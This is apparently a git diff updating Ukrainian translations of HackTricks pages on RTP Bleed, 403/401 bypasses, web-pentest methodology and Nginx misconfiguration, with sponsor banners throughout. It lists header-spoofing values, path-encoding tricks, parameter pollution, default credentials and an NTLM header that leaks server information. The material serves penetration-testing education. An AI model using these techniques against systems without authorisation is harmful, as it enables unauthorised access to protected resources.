RTP-проксі намагаються вирішити **обмеження NAT**, що впливають на RTC-системи, проксуючи RTP-потоки між двома або більше сторонами. Коли NAT активний, програмне забезпечення RTP-проксі часто не може покладатися на інформацію про IP та порт RTP, отриману через сигналізацію (наприклад, SIP). Тому ряд RTP-проксі реалізували механізм, де такий **IP та порт автоматично вивчаються**. Це часто робиться шляхом перевірки вхідного RTP-трафіку та позначення IP та порту джерела для будь-якого вхідного RTP-трафіку як того, на який слід відповідати. Цей механізм, який може називатися "режим навчання", **не використовує жодного виду аутентифікації**. Тому **зловмисники** можуть **надсилати RTP-трафік до RTP-проксі** та отримувати проксований RTP-трафік, призначений для абонента або абонентки поточного RTP-потоку. Ми називаємо цю уразливість RTP Bleed, оскільки вона дозволяє зловмисникам отримувати RTP медіа-потоки, призначені для відправки законним користувачам.
|
||||
|
||||
Ще одна цікава поведінка RTP-проксі та RTP-стеків полягає в тому, що іноді, **навіть якщо не вразливі до RTP Bleed**, вони **приймають, пересилають та/або обробляють RTP-пакети з будь-якого джерела**. Тому зловмисники можуть надсилати RTP-пакети, які можуть дозволити їм інжектувати своє медіа замість законного. Ми називаємо цю атаку RTP injection, оскільки вона дозволяє інжекцію нелегітимних RTP-пакетів у існуючі RTP-потоки. Ця уразливість може бути виявлена як у RTP-проксі, так і в кінцевих точках.
|
||||
Ще одна цікава поведінка RTP-проксі та стеків RTP полягає в тому, що іноді, **навіть якщо не вразливі до RTP Bleed**, вони **приймають, пересилають та/або обробляють RTP-пакети з будь-якого джерела**. Тому зловмисники можуть надсилати RTP-пакети, що можуть дозволити їм інжектувати своє медіа замість законного. Ми називаємо цю атаку RTP injection, оскільки вона дозволяє інжекцію нелегітимних RTP-пакетів у існуючі RTP-потоки. Цю уразливість можна знайти як у RTP-проксі, так і в кінцевих точках.
|
||||
|
||||
Asterisk та FreePBX традиційно використовували **`NAT=yes` налаштування**, яке дозволяє RTP-трафіку обходити аутентифікацію, що потенційно призводить до відсутності звуку або одностороннього звуку під час дзвінків.
|
||||
|
||||
|
@ -646,7 +647,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Get a hacker's perspective on your web apps, network, and cloud
|
||||
**Get a hacker's perspective on your web apps, network, and cloud**
|
||||
|
||||
**Find and report critical, exploitable vulnerabilities with real business impact.** Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports.
|
||||
|
||||
|
|
|
@ -1,41 +1,41 @@
|
|||
# 403 & 401 Bypasses
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Вивчайте та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
<summary>Підтримати HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Get a hacker's perspective on your web apps, network, and cloud
|
||||
**Отримайте перспективу хакера на ваші веб-додатки, мережу та хмару**
|
||||
|
||||
**Find and report critical, exploitable vulnerabilities with real business impact.** Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports.
|
||||
**Знайдіть та повідомте про критичні, експлуатовані вразливості з реальним бізнес-імпактом.** Використовуйте наші 20+ спеціальних інструментів для картографування атакуючої поверхні, знаходження проблем безпеки, які дозволяють вам підвищити привілеї, та використовуйте автоматизовані експлойти для збору важливих доказів, перетворюючи вашу важку працю на переконливі звіти.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
## HTTP Verbs/Methods Fuzzing
|
||||
|
||||
Try using **different verbs** to access the file: `GET, HEAD, POST, PUT, DELETE, CONNECT, OPTIONS, TRACE, PATCH, INVENTED, HACK`
|
||||
Спробуйте використовувати **різні дієслова** для доступу до файлу: `GET, HEAD, POST, PUT, DELETE, CONNECT, OPTIONS, TRACE, PATCH, INVENTED, HACK`
|
||||
|
||||
* Check the response headers, maybe some information can be given. For example, a **200 response** to **HEAD** with `Content-Length: 55` means that the **HEAD verb can access the info**. But you still need to find a way to exfiltrate that info.
|
||||
* Using a HTTP header like `X-HTTP-Method-Override: PUT` can overwrite the verb used.
|
||||
* Use **`TRACE`** verb and if you are very lucky maybe in the response you can see also the **headers added by intermediate proxies** that might be useful.
|
||||
* Перевірте заголовки відповіді, можливо, можна отримати якусь інформацію. Наприклад, **200 відповідь** на **HEAD** з `Content-Length: 55` означає, що **HEAD дієслово може отримати інформацію**. Але вам все ще потрібно знайти спосіб ексфільтрувати цю інформацію.
|
||||
* Використання HTTP заголовка, такого як `X-HTTP-Method-Override: PUT`, може переписати використане дієслово.
|
||||
* Використовуйте **`TRACE`** дієслово, і якщо вам дуже пощастить, можливо, у відповіді ви також зможете побачити **заголовки, додані проміжними проксі**, які можуть бути корисними.
|
||||
|
||||
## HTTP Headers Fuzzing
|
||||
|
||||
* **Change Host header** to some arbitrary value ([that worked here](https://medium.com/@sechunter/exploiting-admin-panel-like-a-boss-fc2dd2499d31))
|
||||
* Try to [**use other User Agents**](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/User-Agents/UserAgents.fuzz.txt) to access the resource.
|
||||
* **Fuzz HTTP Headers**: Try using HTTP Proxy **Headers**, HTTP Authentication Basic and NTLM brute-force (with a few combinations only) and other techniques. To do all of this I have created the tool [**fuzzhttpbypass**](https://github.com/carlospolop/fuzzhttpbypass).
|
||||
* **Змініть заголовок Host** на деяке довільне значення ([це спрацювало тут](https://medium.com/@sechunter/exploiting-admin-panel-like-a-boss-fc2dd2499d31))
|
||||
* Спробуйте [**використати інші User Agents**](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/User-Agents/UserAgents.fuzz.txt) для доступу до ресурсу.
|
||||
* **Fuzz HTTP Headers**: Спробуйте використовувати HTTP Proxy **Headers**, HTTP Authentication Basic та NTLM brute-force (тільки з кількома комбінаціями) та інші техніки. Для цього я створив інструмент [**fuzzhttpbypass**](https://github.com/carlospolop/fuzzhttpbypass).
|
||||
|
||||
* `X-Originating-IP: 127.0.0.1`
|
||||
* `X-Forwarded-For: 127.0.0.1`
|
||||
|
@ -51,22 +51,22 @@ Try using **different verbs** to access the file: `GET, HEAD, POST, PUT, DELETE,
|
|||
* `X-ProxyUser-Ip: 127.0.0.1`
|
||||
* `Host: localhost`
|
||||
|
||||
If the **path is protected** you can try to bypass the path protection using these other headers:
|
||||
Якщо **шлях захищений**, ви можете спробувати обійти захист шляху, використовуючи ці інші заголовки:
|
||||
|
||||
* `X-Original-URL: /admin/console`
|
||||
* `X-Rewrite-URL: /admin/console`
|
||||
* If the page is **behind a proxy**, maybe it's the proxy the one preventing you you to access the private information. Try abusing [**HTTP Request Smuggling**](../../pentesting-web/http-request-smuggling/) **or** [**hop-by-hop headers**](../../pentesting-web/abusing-hop-by-hop-headers.md)**.**
|
||||
* Fuzz [**special HTTP headers**](special-http-headers.md) looking for different response.
|
||||
* **Fuzz special HTTP headers** while fuzzing **HTTP Methods**.
|
||||
* **Remove the Host header** and maybe you will be able to bypass the protection.
|
||||
* Якщо сторінка **за проксі**, можливо, саме проксі заважає вам отримати доступ до приватної інформації. Спробуйте зловживати [**HTTP Request Smuggling**](../../pentesting-web/http-request-smuggling/) **або** [**hop-by-hop заголовками**](../../pentesting-web/abusing-hop-by-hop-headers.md)**.**
|
||||
* Fuzz [**спеціальні HTTP заголовки**](special-http-headers.md), шукаючи різні відповіді.
|
||||
* **Fuzz спеціальні HTTP заголовки** під час fuzzing **HTTP Methods**.
|
||||
* **Видаліть заголовок Host** і, можливо, ви зможете обійти захист.
|
||||
|
||||
## Path **Fuzzing**
|
||||
|
||||
If _/path_ is blocked:
|
||||
Якщо _/path_ заблоковано:
|
||||
|
||||
* Try using _**/**_**%2e/path \_(if the access is blocked by a proxy, this could bypass the protection). Try also**\_\*\* /%252e\*\*/path (double URL encode)
|
||||
* Try **Unicode bypass**: _/**%ef%bc%8f**path_ (The URL encoded chars are like "/") so when encoded back it will be _//path_ and maybe you will have already bypassed the _/path_ name check
|
||||
* **Other path bypasses**:
|
||||
* Спробуйте використовувати _**/**_**%2e/path \_(якщо доступ заблоковано проксі, це може обійти захист). Спробуйте також**\_\*\* /%252e\*\*/path (подвійне кодування URL)
|
||||
* Спробуйте **Unicode обхід**: _/**%ef%bc%8f**path_ (закодовані символи URL подібні до "/"), тому при повторному кодуванні це буде _//path_ і, можливо, ви вже обійшли перевірку назви _/path_
|
||||
* **Інші обходи шляху**:
|
||||
* site.com/secret –> HTTP 403 Forbidden
|
||||
* site.com/SECRET –> HTTP 200 OK
|
||||
* site.com/secret/ –> HTTP 200 OK
|
||||
|
@ -77,46 +77,46 @@ If _/path_ is blocked:
|
|||
* site.com/.;/secret –> HTTP 200 OK
|
||||
* site.com//;//secret –> HTTP 200 OK
|
||||
* site.com/secret.json –> HTTP 200 OK (ruby)
|
||||
* Use all [**this list**](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/Unicode.txt) in the following situations:
|
||||
* Використовуйте весь [**цей список**](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/Unicode.txt) у наступних ситуаціях:
|
||||
* /FUZZsecret
|
||||
* /FUZZ/secret
|
||||
* /secretFUZZ
|
||||
* **Other API bypasses:**
|
||||
* **Інші API обходи:**
|
||||
* /v3/users\_data/1234 --> 403 Forbidden
|
||||
* /v1/users\_data/1234 --> 200 OK
|
||||
* {“id”:111} --> 401 Unauthriozied
|
||||
* {“id”:111} --> 401 Unauthorized
|
||||
* {“id”:\[111]} --> 200 OK
|
||||
* {“id”:111} --> 401 Unauthriozied
|
||||
* {“id”:111} --> 401 Unauthorized
|
||||
* {“id”:{“id”:111\}} --> 200 OK
|
||||
* {"user\_id":"\<legit\_id>","user\_id":"\<victims\_id>"} (JSON Parameter Pollution)
|
||||
* user\_id=ATTACKER\_ID\&user\_id=VICTIM\_ID (Parameter Pollution)
|
||||
|
||||
## **Parameter Manipulation**
|
||||
|
||||
* Change **param value**: From **`id=123` --> `id=124`**
|
||||
* Add additional parameters to the URL: `?`**`id=124` —-> `id=124&isAdmin=true`**
|
||||
* Remove the parameters
|
||||
* Re-order parameters
|
||||
* Use special characters.
|
||||
* Perform boundary testing in the parameters — provide values like _-234_ or _0_ or _99999999_ (just some example values).
|
||||
* Змініть **значення параметра**: З **`id=123` --> `id=124`**
|
||||
* Додайте додаткові параметри до URL: `?`**`id=124` —-> `id=124&isAdmin=true`**
|
||||
* Видаліть параметри
|
||||
* Переставте параметри
|
||||
* Використовуйте спеціальні символи.
|
||||
* Виконайте граничне тестування в параметрах — надайте значення, такі як _-234_ або _0_ або _99999999_ (просто кілька прикладів).
|
||||
|
||||
## **Protocol version**
|
||||
|
||||
If using HTTP/1.1 **try to use 1.0** or even test if it **supports 2.0**.
|
||||
Якщо використовується HTTP/1.1 **спробуйте використовувати 1.0** або навіть перевірте, чи **підтримує 2.0**.
|
||||
|
||||
## **Other Bypasses**
|
||||
## **Інші обходи**
|
||||
|
||||
* Get the **IP** or **CNAME** of the domain and try **contacting it directly**.
|
||||
* Try to **stress the server** sending common GET requests ([It worked for this guy wit Facebook](https://medium.com/@amineaboud/story-of-a-weird-vulnerability-i-found-on-facebook-fc0875eb5125)).
|
||||
* **Change the protocol**: from http to https, or for https to http
|
||||
* Go to [**https://archive.org/web/**](https://archive.org/web/) and check if in the past that file was **worldwide accessible**.
|
||||
* Отримайте **IP** або **CNAME** домену та спробуйте **зв'язатися з ним безпосередньо**.
|
||||
* Спробуйте **навантажити сервер**, надсилаючи звичайні GET запити ([Це спрацювало для цього хлопця з Facebook](https://medium.com/@amineaboud/story-of-a-weird-vulnerability-i-found-on-facebook-fc0875eb5125)).
|
||||
* **Змініть протокол**: з http на https, або з https на http
|
||||
* Перейдіть на [**https://archive.org/web/**](https://archive.org/web/) і перевірте, чи був у минулому цей файл **доступний у всьому світі**.
|
||||
|
||||
## **Brute Force**
|
||||
|
||||
* **Guess the password**: Test the following common credentials. Do you know something about the victim? Or the CTF challenge name?
|
||||
* [**Brute force**](../../generic-methodologies-and-resources/brute-force.md#http-brute)**:** Try basic, digest and NTLM auth.
|
||||
* **Вгадайте пароль**: протестуйте наступні загальні облікові дані. Чи знаєте ви щось про жертву? Або назву виклику CTF?
|
||||
* [**Brute force**](../../generic-methodologies-and-resources/brute-force.md#http-brute)**:** Спробуйте базову, дайджестну та NTLM автентифікацію.
|
||||
|
||||
{% code title="Common creds" %}
|
||||
{% code title="Загальні облікові дані" %}
|
||||
```
|
||||
admin admin
|
||||
admin password
|
||||
|
@ -140,9 +140,9 @@ guest guest
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Отримайте перспективу хакера на ваші веб-додатки, мережу та хмару
|
||||
**Отримайте погляд хакера на ваші веб-додатки, мережу та хмару**
|
||||
|
||||
**Знайдіть і повідомте про критичні, експлуатовані вразливості з реальним бізнес-імпактом.** Використовуйте наші 20+ спеціальних інструментів для картографування атакуючої поверхні, знаходження проблем безпеки, які дозволяють вам підвищити привілеї, і використовуйте автоматизовані експлойти для збору важливих доказів, перетворюючи вашу важку працю на переконливі звіти.
|
||||
**Знайдіть і повідомте про критичні, експлуатовані вразливості з реальним бізнес-імпактом.** Використовуйте наші 20+ спеціальних інструментів для картографування поверхні атаки, знаходження проблем безпеки, які дозволяють вам підвищити привілеї, і використовуйте автоматизовані експлойти для збору важливих доказів, перетворюючи вашу важку працю на переконливі звіти.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
@ -152,11 +152,11 @@ guest guest
|
|||
|
||||
<details>
|
||||
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
<summary>Підтримати HackTricks</summary>
|
||||
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
|
||||
* **Діліться хакерськими трюками, подаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -17,7 +17,7 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Отримайте перспективу хакера на ваші веб-додатки, мережу та хмару
|
||||
**Отримайте перспективу хакера на ваші веб-додатки, мережу та хмару**
|
||||
|
||||
**Знайдіть і повідомте про критичні, експлуатовані вразливості з реальним бізнес-імпактом.** Використовуйте наші 20+ спеціальних інструментів для картографування атакуючої поверхні, знаходження проблем безпеки, які дозволяють вам підвищити привілеї, і використовуйте автоматизовані експлойти для збору важливих доказів, перетворюючи вашу важку працю на переконливі звіти.
|
||||
|
||||
|
@ -46,21 +46,21 @@ openssl s_client -connect domain.com:443 # GET / HTTP/1.0
|
|||
|
||||
## Методологія
|
||||
|
||||
> У цій методології ми будемо припускати, що ви будете атакувати домен (або піддомен) і тільки його. Тому ви повинні застосовувати цю методологію до кожного виявленого домену, піддомену або IP з невизначеним веб-сервером у межах обсягу.
|
||||
> У цій методології ми будемо припускати, що ви збираєтеся атакувати домен (або піддомен) і тільки його. Тому ви повинні застосовувати цю методологію до кожного виявленого домену, піддомену або IP з невизначеним веб-сервером у межах обсягу.
|
||||
|
||||
* [ ] Почніть з **ідентифікації** **технологій**, що використовуються веб-сервером. Шукайте **поради**, які слід пам'ятати під час решти тесту, якщо вам вдасться успішно ідентифікувати технологію.
|
||||
* [ ] Чи є якісь **відомі вразливості** версії технології?
|
||||
* [ ] Використовується якась **відомий технології**? Якась **корисна порада** для отримання додаткової інформації?
|
||||
* [ ] Чи є якийсь **спеціалізований сканер** для запуску (наприклад, wpscan)?
|
||||
* [ ] Чи є якісь **спеціалізовані сканери** для запуску (наприклад, wpscan)?
|
||||
* [ ] Запустіть **сканери загального призначення**. Ви ніколи не знаєте, чи знайдуть вони щось або чи знайдуть якусь цікаву інформацію.
|
||||
* [ ] Почніть з **початкових перевірок**: **robots**, **sitemap**, **404** помилка та **сканування SSL/TLS** (якщо HTTPS).
|
||||
* [ ] Почніть **павукоподібне** сканування веб-сторінки: час **знайти** всі можливі **файли, папки** та **параметри, що використовуються.** Також перевірте на **особливі знахідки**.
|
||||
* [ ] _Зверніть увагу, що щоразу, коли під час брутфорсингу або павукоподібного сканування виявляється новий каталог, його слід павукоподібно сканувати._
|
||||
* [ ] Розпочніть з **початкових перевірок**: **robots**, **sitemap**, **404** помилка та **сканування SSL/TLS** (якщо HTTPS).
|
||||
* [ ] Розпочніть **павукоподібне сканування** веб-сторінки: час **знайти** всі можливі **файли, папки** та **параметри, що використовуються.** Також перевірте на **особливі знахідки**.
|
||||
* [ ] _Зверніть увагу, що щоразу, коли під час брутфорсингу або павукоподібного сканування виявляється новий каталог, його слід просканувати._
|
||||
* [ ] **Брутфорсинг каталогів**: спробуйте брутфорсити всі виявлені папки, шукаючи нові **файли** та **каталоги**.
|
||||
* [ ] _Зверніть увагу, що щоразу, коли під час брутфорсингу або павукоподібного сканування виявляється новий каталог, його слід брутфорсити._
|
||||
* [ ] **Перевірка резервних копій**: перевірте, чи можете ви знайти **резервні копії** **виявлених файлів**, додаючи загальні розширення резервних копій.
|
||||
* [ ] **Брутфорсинг параметрів**: спробуйте **знайти приховані параметри**.
|
||||
* [ ] Як тільки ви **ідентифікували** всі можливі **кінцеві точки**, що приймають **введення користувача**, перевірте на всі види **вразливостей**, пов'язаних з цим.
|
||||
* [ ] Як тільки ви **ідентифікували** всі можливі **кінцеві точки**, що приймають **введення користувача**, перевірте всі види **вразливостей**, пов'язаних з цим.
|
||||
* [ ] [Слідуйте цьому контрольному списку](../../pentesting-web/web-vulnerabilities-methodology.md)
|
||||
|
||||
## Версія сервера (вразлива?)
|
||||
|
@ -124,7 +124,7 @@ _Зверніть увагу, що **один і той же домен** мож
|
|||
|
||||
### Огляд вихідного коду
|
||||
|
||||
Якщо **вихідний код** додатку доступний на **github**, окрім проведення **вашого власного тесту White box** додатку, є **деяка інформація**, яка може бути **корисною** для поточного **Black-Box тестування**:
|
||||
Якщо **вихідний код** додатку доступний на **github**, окрім виконання **вашого власного тесту White box** додатку, є **деяка інформація**, яка може бути **корисною** для поточного **Black-Box тестування**:
|
||||
|
||||
* Чи є **Change-log або Readme або Version** файл або щось з **інформацією про версію, доступною** через веб?
|
||||
* Як і де зберігаються **облікові дані**? Чи є якийсь (доступний?) **файл** з обліковими даними (іменами користувачів або паролями)?
|
||||
|
@ -222,8 +222,8 @@ Information about SSL/TLS vulnerabilities:
|
|||
|
||||
Запустіть якийсь **spider** всередині вебу. Мета spider'а - **знайти якомога більше шляхів** з протестованого додатку. Тому слід використовувати веб-краулінг та зовнішні джерела, щоб знайти якомога більше дійсних шляхів.
|
||||
|
||||
* [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML spider, LinkFinder у JS файлах та зовнішніх джерелах (Archive.org, CommonCrawl.org, VirusTotal.com, AlienVault.com).
|
||||
* [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML spider, з LinkFinder для JS файлів та Archive.org як зовнішнього джерела.
|
||||
* [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML spider, LinkFinder у JS файлах та зовнішні джерела (Archive.org, CommonCrawl.org, VirusTotal.com, AlienVault.com).
|
||||
* [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML spider, з LinkFinder для JS файлів та Archive.org як зовнішнє джерело.
|
||||
* [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML spider, також вказує на "соковиті файли".
|
||||
* [**evine** ](https://github.com/saeeddhqan/evine)(go): Інтерактивний CLI HTML spider. Він також шукає в Archive.org.
|
||||
* [**meg**](https://github.com/tomnomnom/meg) (go): Цей інструмент не є spider'ом, але може бути корисним. Ви можете просто вказати файл з хостами та файл з шляхами, і meg отримає кожен шлях на кожному хості та збере відповідь.
|
||||
|
@ -231,7 +231,7 @@ Information about SSL/TLS vulnerabilities:
|
|||
* [**gau**](https://github.com/lc/gau) (go): HTML spider, який використовує зовнішні постачальники (wayback, otx, commoncrawl).
|
||||
* [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): Цей скрипт знайде URL з параметрами та виведе їх.
|
||||
* [**galer**](https://github.com/dwisiswant0/galer) (go): HTML spider з можливостями рендерингу JS.
|
||||
* [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML spider, з можливостями beautify JS, здатний шукати нові шляхи в JS файлах. Також варто звернути увагу на [JSScanner](https://github.com/dark-warlord14/JSScanner), який є обгорткою для LinkFinder.
|
||||
* [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML spider, з можливостями beautify для JS, здатний шукати нові шляхи в JS файлах. Також варто звернути увагу на [JSScanner](https://github.com/dark-warlord14/JSScanner), який є обгорткою для LinkFinder.
|
||||
* [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Для витягування кінцевих точок як з HTML джерела, так і з вбудованих javascript файлів. Корисно для шукачів помилок, червоних команд, інфосек ніндзя.
|
||||
* [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): Скрипт python 2.7, що використовує Tornado та JSBeautifier для парсингу відносних URL з JavaScript файлів. Корисно для легкого виявлення AJAX запитів. Виглядає так, що не підтримується.
|
||||
* [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Дано файл (HTML), він витягне URL з нього, використовуючи хитрі регулярні вирази для знаходження та витягування відносних URL з непривабливих (мінімізованих) файлів.
|
||||
|
@ -310,7 +310,7 @@ _Зверніть увагу, що щоразу, коли під час brute-fo
|
|||
|
||||
* Шукайте **посилання** на інші файли всередині **CSS** файлів.
|
||||
* [Якщо ви знайдете файл _**.git**_, можна витягнути деяку інформацію](git.md).
|
||||
* Якщо ви знайдете _**.env**_, така інформація, як API ключі, паролі бази даних та інша інформація може бути знайдена.
|
||||
* Якщо ви знайдете _**.env**_, можна знайти інформацію, таку як API ключі, паролі бази даних та іншу інформацію.
|
||||
* Якщо ви знайдете **API кінцеві точки**, ви [також повинні їх протестувати](web-api-pentesting.md). Це не файли, але, ймовірно, "виглядатимуть" як вони.
|
||||
* **JS файли**: У розділі spidering згадувалися кілька інструментів, які можуть витягувати шляхи з JS файлів. Також було б цікаво **моніторити кожен знайдений JS файл**, оскільки в деяких випадках зміна може вказувати на те, що потенційна вразливість була введена в код. Ви можете використовувати, наприклад, [**JSMon**](https://github.com/robre/jsmon)**.**
|
||||
* Вам також слід перевірити виявлені JS файли за допомогою [**RetireJS**](https://github.com/retirejs/retire.js/) або [**JSHole**](https://github.com/callforpapers-source/jshole), щоб дізнатися, чи є вони вразливими.
|
||||
|
@ -334,12 +334,12 @@ _Зверніть увагу, що щоразу, коли під час brute-fo
|
|||
**NTLM Authentication - Info disclosure**
|
||||
|
||||
Якщо працюючий сервер запитує аутентифікацію **Windows** або ви знаходите вхід, що запитує ваші **облікові дані** (і запитує **ім'я домену**), ви можете спровокувати **розкриття інформації**.\
|
||||
**Надішліть** **заголовок**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` і через те, як працює **NTLM аутентифікація**, сервер відповість внутрішньою інформацією (версія IIS, версія Windows...) всередині заголовка "WWW-Authenticate".\
|
||||
**Надішліть** **заголовок**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` і через те, як працює **NTLM аутентифікація**, сервер відповість внутрішньою інформацією (версія IIS, версія Windows...) у заголовку "WWW-Authenticate".\
|
||||
Ви можете **автоматизувати** це, використовуючи **nmap плагін** "_http-ntlm-info.nse_".
|
||||
|
||||
**HTTP Redirect (CTF)**
|
||||
|
||||
Можливо **вставити вміст** всередині **Redirection**. Цей вміст **не буде показаний користувачу** (оскільки браузер виконає перенаправлення), але щось може бути **сховане** там.
|
||||
Можливо **вставити вміст** всередину **Redirection**. Цей вміст **не буде показаний користувачу** (оскільки браузер виконає редирекцію), але щось може бути **сховане** там.
|
||||
|
||||
### Web Vulnerabilities Checking
|
||||
|
||||
|
@ -361,9 +361,9 @@ _Зверніть увагу, що щоразу, коли під час brute-fo
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Get a hacker's perspective on your web apps, network, and cloud
|
||||
**Отримайте перспективу хакера на ваші веб-додатки, мережу та хмару**
|
||||
|
||||
**Find and report critical, exploitable vulnerabilities with real business impact.** Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports.
|
||||
**Знайдіть та повідомте про критичні, експлуатовані вразливості з реальним бізнес-імпактом.** Використовуйте наші 20+ спеціальних інструментів для картографування атакуючої поверхні, знаходження проблем безпеки, які дозволяють вам підвищити привілеї, та використовуйте автоматизовані експлойти для збору важливих доказів, перетворюючи вашу важку працю на переконливі звіти.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
|
|
@ -17,13 +17,13 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### Отримайте перспективу хакера на ваші веб-додатки, мережу та хмару
|
||||
**Отримайте перспективу хакера на ваші веб-додатки, мережу та хмару**
|
||||
|
||||
**Знайдіть і повідомте про критичні, експлуатовані вразливості з реальним бізнес-імпактом.** Використовуйте наші 20+ спеціальних інструментів для картографування атакуючої поверхні, знаходження проблем безпеки, які дозволяють вам підвищити привілеї, і використовуйте автоматизовані експлойти для збору важливих доказів, перетворюючи вашу важку працю на переконливі звіти.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
## Відсутнє кореневе місцезнаходження <a href="#missing-root-location" id="missing-root-location"></a>
|
||||
## Відсутнє кореневе місце <a href="#missing-root-location" id="missing-root-location"></a>
|
||||
|
||||
При налаштуванні сервера Nginx, **директива root** відіграє критичну роль, визначаючи базовий каталог, з якого подаються файли. Розгляньте наведену нижче приклад:
|
||||
```bash
|
||||
|
@ -36,7 +36,7 @@ proxy_pass http://127.0.0.1:8080/;
|
|||
}
|
||||
}
|
||||
```
|
||||
